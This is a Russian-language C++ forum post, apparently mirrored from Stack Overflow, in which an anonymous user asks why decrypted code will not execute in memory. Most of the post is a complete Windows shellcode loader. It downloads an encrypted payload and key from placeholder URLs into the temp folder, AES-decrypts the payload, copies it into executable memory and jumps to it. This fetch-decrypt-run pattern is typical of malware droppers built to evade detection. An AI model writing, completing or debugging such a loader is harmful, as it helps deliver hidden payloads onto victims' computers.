С++ | Расшифрованный код в памяти не выполняетсяC++

Программы на C++. Форум разработчиков
Ответить
Anonymous
 С++ | Расшифрованный код в памяти не выполняется

Сообщение Anonymous »

Помогите, не могу заставить расшифрованный файл выполниться в памяти.
"Код расшифрованного файла выполняется корректно в ручном режиме и расшифровывается без ошибок"
Думаю, ошибка где-то в неправильном определении размера
Я использую этот код, возможно, где-то есть ошибка, но я ее не вижу
#include
#include
#include
#include

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "crypt32.lib")

#define FILE_URL L"https://example/file.bin"
#define KEY_URL L"https://example/key.bin"

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash) &&
CryptHashData(hHash, (BYTE*)key, keyLen, 0) &&
CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {

CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen);
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
}

int main() {
WCHAR filePath[MAX_PATH], keyPath[MAX_PATH];
GetTempPathW(MAX_PATH, filePath);
wcscat_s(filePath, L"\\file.bin");
GetTempPathW(MAX_PATH, keyPath);
wcscat_s(keyPath, L"\\key.bin");

if (URLDownloadToFileW(NULL, FILE_URL, filePath, 0, NULL) == S_OK &&
URLDownloadToFileW(NULL, KEY_URL, keyPath, 0, NULL) == S_OK) {

HANDLE File = CreateFileW(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE keyFile = CreateFileW(keyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (File != INVALID_HANDLE_VALUE && keyFile != INVALID_HANDLE_VALUE) {
DWORD fileSize = GetFileSize(File, NULL);
DWORD keySize = GetFileSize(keyFile, NULL);
char* fileData = (char*)malloc(fileSize);
char* keyData = (char*)malloc(keySize);

DWORD bytesRead;
if (ReadFile(File, fileData, fileSize, &bytesRead, NULL) &&
ReadFile(keyFile, keyData, keySize, &bytesRead, NULL)) {

DecryptAES(fileData, fileSize, keyData, keySize);

void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec != NULL) {
memcpy(exec, fileData, fileSize);
((void(*)())exec)();
VirtualFree(exec, 0, MEM_RELEASE);
}
}
free(fileData);
free(keyData);
CloseHandle(File);
CloseHandle(keyFile);
}
}
return 0;
}


Подробнее здесь: https://stackoverflow.com/questions/781 ... t-executed
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C++»